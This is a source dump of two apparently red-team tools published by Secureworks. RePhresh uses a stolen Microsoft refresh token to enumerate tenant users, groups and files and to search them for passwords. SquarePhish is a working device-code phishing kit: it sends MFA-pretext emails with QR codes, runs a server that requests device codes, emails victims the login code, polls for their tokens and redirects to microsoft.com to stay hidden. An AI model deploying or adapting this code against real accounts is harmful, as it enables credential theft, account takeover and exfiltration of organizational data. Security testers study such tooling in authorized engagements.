from rephresh.modules.module import ModuleBase
from rephresh.modules.module import ModuleState
class Groups(ModuleBase):
"""Group retrieval class"""
def _fetch_groups(self, token: Dict[str, str]) -> Dict[str, str]:
"""Using the provided token, retrieve all groups accessible by the given user
:param token: client specific refresh token
"""
return self.msgraph_fetch(
self,
url_path="groups?$top=999",
token=token,
)
@classmethod
def fetch(
cls,
module_state: ModuleState,
scopes: List[str],
):
"""Acquire new refresh token and fetch all groups
:param module_state: Module State instance
:param scopes: list of scopes to request with refresh token
"""
if not module_state.msoffice_refresh_token:
logging.info("Acquiring refresh token for 'Microsoft Office'")
new_refresh_token = cls.fetch_refresh_token(
cls,
module_state=module_state,
client_name="Microsoft Office",
scopes=scopes,
)
# Update module base
module_state.msoffice_refresh_token = new_refresh_token
if module_state.msoffice_refresh_token:
logging.info("Fetching groups")
# Fetch groups
groups = cls._fetch_groups(cls, token=module_state.msoffice_refresh_token)
total_groups = len(groups["value"])
logging.info(f" Groups: {total_groups}")
# If groups found, write to output file
if total_groups > 0:
filename = f"{module_state.token_email}.groups.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=groups,
)
+208
View File
@@ -0,0 +1,208 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import json
import logging
import requests
from typing import List
from typing import Dict
from pathlib import Path
from rephresh import utils
from rephresh import acquire
class ModuleState:
"""Module state class to store global data"""
def __init__(
self,
output_dir: str,
domain: str,
tenant_id: str,
token_email: str,
refresh_token: str,
search_keywords: List[str],
):
"""Module state initialization
:param output_dir: data output location
:param domain: target domain name
:param tenant_id: target tenant ID
:param token_email: email address of primary refresh token
:param refresh_token: refresh token string
"""
self.output_dir = output_dir
self.domain = domain
self.tenant_id = tenant_id
self.token_email = token_email
self.refresh_token = refresh_token
self.search_keywords = search_keywords or utils.SEARCH_KEYWORDS
# FOCI Refresh Tokens
self.msoffice_refresh_token = None
self.sharepoint_refresh_token = None
class ModuleBase:
"""Module base class for shared functions"""
def write_json(self, filename: str, output_dir: str, data: Dict[str, str]):
"""Write a data structure as JSON to a file on the system
:param filename: name of output file
:param output_dir: output directory name
:param data: data structure to write to system
"""
full_path = Path(output_dir, filename)
try:
with open(full_path, "w") as f:
json.dump(data, f)
except Exception as e:
logging.error(f"Error: {e}")
print(json.dumps(data, indent=4))
def fetch_refresh_token(
self,
module_state: ModuleState,
client_name: str,
scopes: List[str],
) -> Dict[str, str]:
"""Retrieve a new refresh token for the specified client
:param module_state: ModuleState instance
:param client_name: name of target client to fetch refresh token for
:param scopes: list of scopes to request with refresh token
"""
client_id = utils.TARGET_CLIENT_IDS[client_name]
new_refresh_token = acquire.acquire_token_by_refresh_token(
refresh_token=module_state.refresh_token,
client_id=client_id,
scopes=scopes,
tenant_id=module_state.tenant_id,
)
if "error" in new_refresh_token.keys():
logging.error(f'Invalid response for refresh token: {new_refresh_token["error_description"]}') # fmt: skip
return None
return new_refresh_token
def msgraph_fetch(
self,
url_path: str,
token=Dict[str, str],
limit: int = 10,
) -> Dict[str, str]:
"""Fetch data from Microsoft Graph
:param url_path: API path
:param token: client specific refresh token
:param limit: max number of page fetches
"""
headers = utils.HTTP_OPSEC_HEADERS
headers["Authorization"] = f'Bearer {token["access_token"]}' # type: ignore
# Define our initial URL
url = f"https://graph.microsoft.com/v1.0/{url_path}"
# Rebuild the search response JSON scheme
# Exclude @odata.nextLink - only use this to get the next page
results = {"@odata.context": None, "value": []}
count = 0
try:
# Continue to loop while there is more data/until we hit our request limit
while url and count <= limit:
count += 1
response = requests.get(
url=url,
headers=headers,
verify=False,
)
# Get JSON response
json_response = response.json()
# Check for errors
if "error" in json_response:
logging.error(f'Error: {json_response["error"]["message"]}')
break
# Get the context (only on first request)
if not results["@odata.context"]:
results["@odata.context"] = json_response.get("@odata.context", None) # fmt: skip
# Get the values returned and append to results
value = json_response.get("value", None)
if value:
results["value"] += value
# Get the next URL if more results
url = json_response.get("@odata.nextLink", None)
if url:
logging.debug(f"Requesting next page...")
return results
except requests.RequestException as e:
logging.error(f"Error: {e}")
return results
def msgraph_search(
self,
entity: List[str],
search: str,
token=Dict[str, str],
) -> Dict[str, str]:
"""Search data via Microsoft Graph Search
:param entity: entity to search
:param search: search term
:param token: client specific refresh token
"""
headers = utils.HTTP_OPSEC_HEADERS
headers["Authorization"] = f'Bearer {token["access_token"]}' # type: ignore
headers["content-type"] = "application/json"
json = {
"requests": [
{
"entityTypes": entity,
"query": {
"queryString": search,
},
}
]
}
try:
response = requests.post(
url=f"https://graph.microsoft.com/v1.0/search/query",
json=json,
headers=headers,
verify=False,
)
json_response = response.json()
if "error" in json_response:
logging.error(f'Error: {json_response["error"]["message"]}')
return None
return json_response
except requests.RequestException as e:
logging.error(f"Error: {e}")
return None
+124
View File
@@ -0,0 +1,124 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from typing import Dict
from typing import List
from rephresh import utils
from rephresh.modules.module import ModuleBase
from rephresh.modules.module import ModuleState
class OneDrive(ModuleBase):
"""OneDrive drive search/retrieval class"""
def _search_drives(
self,
token: Dict[str, str],
keywords: List[str] = utils.SEARCH_KEYWORDS,
) -> Dict[str, str]:
"""Using the provided token, search OneDrive drives by name accessible
by the given user
For the time being, we are using the `search` path for /drive/ instead of the
/search/query API
:param token: client specific refresh token
:param keywords: keywords for searching
"""
keywords = " OR ".join(keywords) # KQL logical or
return self.msgraph_fetch(
self,
url_path=f"me/drive/search(q='{keywords}')",
token=token,
)
def _fetch_drives(self, token: Dict[str, str]) -> Dict[str, str]:
"""Using the provided token, list OneDrive drives accessible by the given user
:param token: client specific refresh token
"""
return self.msgraph_fetch(
self,
url_path="me/drives",
token=token,
)
@classmethod
def fetch(
cls,
module_state: ModuleState,
scopes: List[str],
):
"""Acquire new refresh token and access OneDrive
:param module_state: Module State instance
:param scopes: list of scopes to request with refresh token
"""
if not module_state.msoffice_refresh_token:
logging.info("Acquiring refresh token for 'Microsoft Office'")
new_refresh_token = cls.fetch_refresh_token(
cls,
module_state=module_state,
client_name="Microsoft Office",
scopes=scopes,
)
# Update module base
module_state.msoffice_refresh_token = new_refresh_token
if module_state.msoffice_refresh_token:
logging.info("Fetching OneDrive drives")
# Fetch drives
drives = cls._fetch_drives(cls, token=module_state.msoffice_refresh_token)
total_drives = len(drives["value"])
logging.info(f' Drives: {total_drives}')
# If drives found, write to output file
if total_drives > 0:
filename = f"{module_state.token_email}.drives.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=drives,
)
# Specifically search file names across drives (different from the /search/query
# API)
logging.info(f"Searching OneDrive files (by name): {module_state.search_keywords}") # fmt: skip
# Search drive files for keywords
results = cls._search_drives(
cls,
token=module_state.msoffice_refresh_token,
keywords=module_state.search_keywords,
)
total_results = len(results["value"])
logging.info(f' Files: {total_results}')
# If search results found, write to output file
if total_results > 0:
filename = f"{module_state.token_email}.searchdrives.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=results,
)
+77
View File
@@ -0,0 +1,77 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from typing import Dict
from typing import List
from rephresh.modules.module import ModuleBase
from rephresh.modules.module import ModuleState
class Organization(ModuleBase):
"""Organization retrieval class"""
def _fetch_organization(self, token: Dict[str, str]) -> Dict[str, str]:
"""Using the provided token, retrieve the given users Organization
:param token: client specific refresh token
"""
return self.msgraph_fetch(
self,
url_path="organization",
token=token,
)
@classmethod
def fetch(
cls,
module_state: ModuleState,
scopes: List[str],
):
"""Acquire new refresh token and fetch users Oraganization
:param module_state: Module State instance
:param scopes: list of scopes to request with refresh token
"""
if not module_state.msoffice_refresh_token:
logging.info("Acquiring refresh token for 'Microsoft Office'")
new_refresh_token = cls.fetch_refresh_token(
cls,
module_state=module_state,
client_name="Microsoft Office",
scopes=scopes,
)
# Update module base
module_state.msoffice_refresh_token = new_refresh_token
if module_state.msoffice_refresh_token:
logging.info("Fetching organizations")
# Fetch all orgs
orgs = cls._fetch_organization(cls, token=module_state.msoffice_refresh_token) # fmt: skip
total_orgs = len(orgs["value"])
logging.info(f" Organizations: {total_orgs}")
# If orgs found, write to output file
if total_orgs > 0:
filename = f"{module_state.token_email}.organizations.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=orgs,
)
+98
View File
@@ -0,0 +1,98 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from typing import Dict
from typing import List
from rephresh import utils
from rephresh.modules.module import ModuleBase
from rephresh.modules.module import ModuleState
class SharePoint(ModuleBase):
"""SharePoint drive search/retrieval class"""
def _search_drives(
self,
token: Dict[str, str],
keywords: List[str] = utils.SEARCH_KEYWORDS,
) -> Dict[str, str]:
"""Using the provided token, search SharePoint accessible by the given user
https://docs.microsoft.com/en-us/graph/search-concept-files
:param token: client specific refresh token
:param keywords: keywords for searching
"""
keywords = " OR ".join(keywords) # KQL logical or
return self.msgraph_search(
self,
entity=["driveItem", "listItem", "list"],
search=keywords,
token=token,
)
@classmethod
def fetch(
cls,
module_state: ModuleState,
scopes: List[str],
):
"""Acquire new refresh token and access OneDrive
:param module_state: Module State instance
:param scopes: list of scopes to request with refresh token
"""
# Use the SharePoint client ID to acquire a new refresh token as the default scope
# for this client includes the correct permissions for List and ListItem:
# ["Sites.Read.All", "Sites.ReadWrite.All"]
if not module_state.sharepoint_refresh_token:
logging.info("Acquiring refresh token for 'SharePoint'")
new_refresh_token = cls.fetch_refresh_token(
cls,
module_state=module_state,
client_name="SharePoint",
scopes=scopes,
)
# Update module base
module_state.sharepoint_refresh_token = new_refresh_token
if module_state.sharepoint_refresh_token:
logging.info(f"Searching SharePoint and OneDrive contents: {module_state.search_keywords}") # fmt: skip
# Search OneDrive and SharePoint contents for keywords
results = cls._search_drives(
cls,
token=module_state.sharepoint_refresh_token,
keywords=module_state.search_keywords,
)
# The response JSON scheme is broke into nested lists, so we need to traverse
# all lists to find the 'total' results found
total_results = sum(
h["total"] for v in results["value"] for h in v["hitsContainers"]
)
logging.info(f" Results: {total_results}")
# If search results found, write to output file
if total_results > 0:
filename = f"{module_state.token_email}.search.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=results,
)
+77
View File
@@ -0,0 +1,77 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
from typing import Dict
from typing import List
from rephresh.modules.module import ModuleBase
from rephresh.modules.module import ModuleState
class Users(ModuleBase):
"""User retrieval class"""
def _fetch_users(self, token: Dict[str, str]) -> Dict[str, str]:
"""Using the provided token, retrieve all users accessible by the given user
:param token: client specific refresh token
"""
return self.msgraph_fetch(
self,
url_path="users",
token=token,
)
@classmethod
def fetch(
cls,
module_state: ModuleState,
scopes: List[str],
):
"""Acquire new refresh token and fetch all users
:param module_state: Module State instance
:param scopes: list of scopes to request with refresh token
"""
if not module_state.msoffice_refresh_token:
logging.info("Acquiring refresh token for 'Microsoft Office'")
new_refresh_token = cls.fetch_refresh_token(
cls,
module_state=module_state,
client_name="Microsoft Office",
scopes=scopes,
)
# Update module base
module_state.msoffice_refresh_token = new_refresh_token
if module_state.msoffice_refresh_token:
logging.info("Fetching users")
# Fetch users
users = cls._fetch_users(cls, token=module_state.msoffice_refresh_token)
total_users = len(users["value"])
logging.info(f" Users: {total_users}")
# If users found, write to output file
if total_users > 0:
filename = f"{module_state.token_email}.users.json"
logging.info(f" Output: {filename}")
cls.write_json(
cls,
filename=filename,
output_dir=module_state.output_dir,
data=users,
)
+106
View File
@@ -0,0 +1,106 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# fmt: off
import logging
from rephresh import __version__
SEARCH_KEYWORDS = [
"password",
"username",
]
DATA_MODULES = [
"all",
"users",
"groups",
"emails",
"onedrive",
"sharepoint",
"organization",
]
TARGET_CLIENT_IDS = {
"Intune": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
"OneDrive": "b26aadf8-566f-4478-926f-589f601d9c74",
"SharePoint": "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0",
"Microsoft Office": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"Office 365 Management": "00b41c95-dab0-4487-9791-b9d2c32c80f2",
}
HTTP_OPSEC_HEADERS = {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36", # Chrome 99
"accept-encoding": "gzip, deflate, br",
"accept-language": "en-US,en;q=0.5",
"upgrade-insecure-requests": "1",
}
BANNER = f"""
____ ____ __ __
/ __ \___ / __ \/ /_ ________ _____/ /_
/ /_/ / _ \/ /_/ / __ \/ ___/ _ \/ ___/ __ \\
/ _, _/ __/ ____/ / / / / / __(__ ) / / /
/_/ |_|\___/_/ /_/ /_/_/ \___/____/_/ /_/
o O v{__version__}
o _/_
. /o \//
=___/\\\\
''
"""
class bcolors:
"""Color codes for colorized terminal output"""
HEADER = "\033[95m"
OKBLUE = "\033[94m"
OKCYAN = "\033[96m"
OKGREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
ENDC = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
class LoggingLevels:
CRITICAL = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "crit"
WARNING = f"{bcolors.WARNING}%s{bcolors.ENDC}" % "warn"
DEBUG = f"{bcolors.OKBLUE}%s{bcolors.ENDC}" % "debug"
ERROR = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "fail"
INFO = f"{bcolors.OKGREEN}%s{bcolors.ENDC}" % "info"
def init_logger(debug: bool):
"""Initialize program logging
:param debug: debug enabled/disabled
"""
if debug:
logging_level = logging.DEBUG
logging_format = ("[%(asctime)s] [%(levelname)-5s] %(filename)17s:%(lineno)-4s - %(message)s")
else:
logging_level = logging.INFO
logging_format = "[%(asctime)s] [%(levelname)-5s] %(message)s"
logging.basicConfig(format=logging_format, level=logging_level)
# Handle color output
logging.addLevelName(logging.CRITICAL, LoggingLevels.CRITICAL)
logging.addLevelName(logging.WARNING, LoggingLevels.WARNING)
logging.addLevelName(logging.DEBUG, LoggingLevels.DEBUG)
logging.addLevelName(logging.ERROR, LoggingLevels.ERROR)
logging.addLevelName(logging.INFO, LoggingLevels.INFO)
+1
View File
@@ -0,0 +1 @@
msal>=1.17.0
+5
View File
@@ -0,0 +1,5 @@
flask
pyOpenSSL
pypng
pyqrcode
requests
Binary file not shown.

After

Width:  |  Height:  |  Size: 171 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 119 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 330 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

+24
View File
@@ -0,0 +1,24 @@
[DEFAULT]
SMTP_PORT = 465 # SMTP port, defaulted to 465
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
SMTP_EMAIL = "" # Required: Provide authenticating email address here
SMTP_PASSWORD = "" # Required: Provide authenticating password here
[EMAIL]
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
[SERVER]
PORT = 8443
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
CERT_CRT = "" # Server SSL certificate .crt file
CERT_KEY = "" # Server SSL certificate .key file
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
+17
View File
@@ -0,0 +1,17 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# fmt: off
__title__ = "SquarePhish"
__version__ = "0.1.0"
+25
View File
@@ -0,0 +1,25 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from configparser import RawConfigParser
class CustomConfigParser(RawConfigParser):
"""Custom config parser"""
def get(self, section: str, option: str) -> str:
"""Overrride the 'get' function to strip any single/double quotes from values
extracted from the configuration file"""
val = RawConfigParser.get(self, section, option)
return val.strip('"').strip("'")
+49
View File
@@ -0,0 +1,49 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import smtplib
import logging
from configparser import ConfigParser
from email.message import EmailMessage
class Emailer:
"""Class to send emails"""
def __init__(self, config: ConfigParser):
"""Initialize emailer
:param config: configuration settings
"""
self.smtp_server = config.get("DEFAULT", "SMTP_SERVER")
self.smtp_port = config.get("DEFAULT", "SMTP_PORT")
self.smtp_email = config.get("DEFAULT", "SMTP_EMAIL")
self.smtp_password = config.get("DEFAULT", "SMTP_PASSWORD")
def send_email(self, message: EmailMessage) -> bool:
"""Send a given email message
:param message: email message object to send
:returns: bool if email sent successfully
"""
try:
with smtplib.SMTP_SSL(self.smtp_server, self.smtp_port) as smtp:
smtp.login(self.smtp_email, self.smtp_password)
smtp.send_message(message)
return True
except Exception as e:
logging.error(f"Failed to send email: {e}")
return False
+15
View File
@@ -0,0 +1,15 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from squarephish.modules.qrcode.email import QRCodeEmail
+82
View File
@@ -0,0 +1,82 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import io
import base64
import logging
import pyqrcode # type: ignore
from configparser import ConfigParser
from email.message import EmailMessage
from squarephish.modules.emailer import Emailer
class QRCodeEmail:
"""Class to handle initial QR code emails"""
def _generate_qrcode(
self,
server: str,
port: int,
endpoint: str,
email: str,
) -> str:
"""Generate a QR code for a given URL
:param server: malicious server domain/IP
:param port: port malicious server is running on
:param endpoint: malicious server endpoint to request
:param to_email: TO email address of victim
"""
endpoint = endpoint.strip("/")
url = f"https://{server}:{port}/{endpoint}?email={email}"
c = pyqrcode.create(url)
s = io.BytesIO()
c.png(s, scale=6)
encoded = base64.b64encode(s.getvalue()).decode("ascii")
return encoded
@classmethod
def send_qrcode(
cls,
email: str,
config: ConfigParser,
emailer: Emailer,
) -> bool:
"""Send initial QR code to victim pointing to our malicious URL
:param email: target victim email address to send email to
:param config: configuration settings
:param emailer: emailer object to send emails
:returns: bool if the email was successfully sent
"""
qrcode = cls._generate_qrcode(
cls,
config.get("EMAIL", "SQUAREPHISH_SERVER"),
config.get("EMAIL", "SQUAREPHISH_PORT"),
config.get("EMAIL", "SQUAREPHISH_ENDPOINT"),
email,
)
if not qrcode:
logging.error("Failed to generate QR code")
return False
msg = EmailMessage()
msg["To"] = email
msg["From"] = config.get("EMAIL", "FROM_EMAIL")
msg["Subject"] = config.get("EMAIL", "SUBJECT")
email_template = config.get("EMAIL", "EMAIL_TEMPLATE")
msg.set_content(email_template % qrcode, subtype="html")
return emailer.send_email(msg)
+128
View File
@@ -0,0 +1,128 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
import urllib
import logging
import requests
from flask import request # type: ignore
from flask import redirect # type: ignore
from configparser import ConfigParser
from squarephish.utils import HTTP_HEADERS
from squarephish.modules.emailer import Emailer
from squarephish.modules.server.auth import AuthPoll
from squarephish.modules.server.email import email_usercode
from squarephish.modules.server.customflask import CustomFlask
# Create global Flask app based on config.py
app = CustomFlask(__name__)
app.config.from_pyfile("config.py")
def init_app(config: ConfigParser, emailer: Emailer) -> redirect:
"""Initialize the Custom Flask app route
For better OPSEC, if any errors occur, automatically redirect the user away
from our server to the main Microsoft web page
:param config: configuration settings
:param emailer: emailer object to send emails
"""
route = config.get("SERVER", "ENDPOINT").strip("/")
route = f"/{route}"
@app.errorhandler(404)
def handle_404(e):
"""Handle 404 errors here"""
logging.error(f"Invalid URL request '{request.url}' from {request.remote_addr}")
return redirect("https://microsoft.com/", code=302)
@app.route(route, methods=["GET"])
def run_devicecode_flow():
"""Primary route handling for Flask app"""
# Get user information from the incoming request
target_email = request.args.get("email")
if not target_email:
logging.error(f"Could not retrieve target email address: '{request.url}' from {request.remote_addr}") # fmt: skip
return redirect("https://microsoft.com/", code=302)
# Validate the email address since we use this value as a filename on
# the system
target_email = target_email.strip()
valid_email_regex = re.compile(r"^\b[A-Za-z0-9._#%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b$") # fmt: skip
if not re.fullmatch(valid_email_regex, target_email):
logging.error(f"Invalid email address provided: '{request.url}' from {request.remote_addr}") # fmt: skip
return redirect("https://microsoft.com/", code=302)
# Build the permissions scope
# user.read mail.read contacts.read user.basic.all user.read.all directory.accessasuser.all application.readwrite.all
scope = config.get("SERVER", "PERMISSION_SCOPE")
logging.info(f"[{target_email}] Requesting scope: {scope}")
logging.info(f"[{target_email}] Requesting client: {config.get('SERVER', 'CLIENT_ID')}") # fmt: skip
# Build our request
url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode"
params = (("client_id", config.get("SERVER", "CLIENT_ID")), ("scope", scope))
data = urllib.parse.urlencode(params)
# Submit POST request to Microsoft
try:
resp = requests.post(url, headers=HTTP_HEADERS, data=data, verify=False)
except requests.exceptions.ConnectionError as e:
logging.error(f"[{target_email}] Failed to request device code from Microsoft: {e}") # fmt: skip
return redirect("https://microsoft.com/devicelogin", code=302)
if resp.status_code != 200:
logging.error(f"[{target_email}] Invalid response from /devicecode:\n{resp.json()}") # fmt: skip
return redirect("https://microsoft.com/devicelogin", code=302)
devicecode_response = resp.json()
logging.info(f"[{target_email}] Device code auth response:\n{devicecode_response}") # fmt: skip
logging.info(f"[{target_email}] Code successfully retrieved.")
logging.info(f'[{target_email}] Message: {devicecode_response["message"]}')
# Build URL and data for POST request to start device flow
url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
params = (
("grant_type", "urn:ietf:params:oauth:grant-type:device_code"),
("code", devicecode_response["device_code"]),
("client_id", config.get("SERVER", "CLIENT_ID")),
)
data = urllib.parse.urlencode(params)
# Start polling for auth
t = AuthPoll(
target_email=target_email,
devicecode_response=devicecode_response,
url=url,
data=data,
)
t.start()
# Send our code to the victim
emailed = email_usercode(
email_template=config.get("SERVER", "EMAIL_TEMPLATE"),
subject=config.get("SERVER", "SUBJECT"),
from_email=config.get("SERVER", "FROM_EMAIL"),
to_email=target_email,
user_code=devicecode_response["user_code"],
emailer=emailer,
)
if not emailed:
logging.error(f"[{target_email}] Failed to send victim device code email")
# Redirect to Microsoft Device Login
return redirect("https://microsoft.com/devicelogin", code=302)
+100
View File
@@ -0,0 +1,100 @@
# Copyright 2022 Secureworks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import json
import time
import requests
import logging
import datetime
import threading
from squarephish.utils import HTTP_HEADERS
class AuthPoll(threading.Thread):
"""Custom threading class to poll for authentication"""
def __init__(
self,
target_email: str,
devicecode_response: dict,
url: str,
data: str,
):
"""Initialize threading class
:param target_email: Victim email address
:param devicecode_response: OAuth device code response
:param url: Mircosoft OAuth token URL
:param data: grant_type, client_id, code
"""
super(AuthPoll, self).__init__()
self.target_email = target_email
self.devicecode_response = devicecode_response
self.url = url
self.data = data
# Poll for user authentication
def run(self, *args, **kwargs):
"""Continue to poll the MS token endpoint for valid authentication from
the given victim"""
expires_in = int(self.devicecode_response["expires_in"]) / 60
end_delta = datetime.timedelta(minutes=expires_in)
stop_time = datetime.datetime.now() + end_delta
while True:
logging.info(f"[{self.target_email}] Polling for user authentication...")
resp = requests.post(
self.url,
headers=HTTP_HEADERS,
data=self.data,
verify=False,
)
# Handle debugging
logging.debug(f"[{self.target_email}] Device code polling response:\n{resp.json()}") # fmt: skip
# Handle successful auth
if resp.status_code == 200:
break
# Handle bad response
if resp.json()["error"] != "authorization_pending":
logging.error(f"[{self.target_email}] Invalid response from /token:\n{resp.json()}") # fmt: skip
return False
# Handle device code expiration/timeout
if datetime.datetime.now() >= stop_time:
logging.error(f"[{self.target_email}] Device code expired.")
return False
